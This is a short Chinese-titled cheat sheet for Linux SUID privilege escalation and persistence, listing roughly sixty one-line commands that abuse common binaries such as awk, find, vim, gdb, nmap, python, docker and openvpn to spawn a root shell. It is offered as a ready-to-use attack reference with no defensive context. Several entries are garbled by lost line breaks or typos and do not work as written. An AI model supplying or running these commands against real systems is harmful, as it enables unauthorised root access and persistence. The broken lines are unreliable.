linux suid权限维持速查表

/usr/bin/time /bin/bash -c whoami

awk 'BEGIN {system("/bin/bash -c whoami")}'

略

busybox sh -c whoami

capsh -- -c whoami

echo '/bin/sh </dev/tty >/dev/tty' >localhostcpio -o --rsh-command /bin/sh -F localhost:

cpulimit -l 100 -f /bin/bash -c whoami

csh -c whoami

dash -c whoam

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

ed!/bin/sh

emacs -Q -nw --eval '(term "/bin/sh")'

env /bin/sh

expect -c 'spawn /bin/sh;interact'

find . -exec /bin/sh whoami;

flock -u / /bin/sh

gawk 'BEGIN {system("/bin/sh")}'

gdb -nx -ex '!sh' -ex quit

gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'

ionice /bin/sh

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

hping3/bin/sh

jrunscript -e "exec('/bin/sh -c $@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"

ksh

/lib/ld.so /bin/sh

less /etc/profile!/bin/sh

logsave /dev/null /bin/sh -i

lua -e 'os.execute("/bin/sh")'

COMMAND='/bin/sh'make -s --eval=$'x:nt-'"$COMMAND"

TERM= more /etc/profile!/bin/sh

echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'

mawk 'BEGIN {system("/bin/sh")}'

nawk 'BEGIN {system("/bin/sh")}'

nice /bin/sh

TF=$(mktemp)echo 'os.execute("/bin/sh")' > $TFnmap --script=$TF
nmap --interactivenmap> !sh

node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"

openvpn --dev null --script-security 2 --up '/bin/sh -c sh'

perl -e 'exec "/bin/sh";'

pg /etc/profile!/bin/sh

export CMD="/bin/sh"php -r 'system(getenv("CMD"));'

python -c 'import os; os.system("/bin/sh")'

rlwrap /bin/sh

rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

run-parts --new-session --regex '^sh$' /bin

rview -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

sqlite3 /dev/null '.shell /bin/sh'

start-stop-daemon -n $RANDOM -S -x /bin/sh

stdbuf -i0 /bin/sh

strace -o /dev/null /bin/sh

taskset 1 /bin/sh

tclshexec /bin/sh <@stdin >@stdout 2>@stderr

timeout 7d /bin/sh

unshare /bin/sh

vimdiff -c ':!/bin/sh'

watch -x sh -c 'reset; exec sh 1>&0 2>&0'

xargs -a /dev/null sh

zsh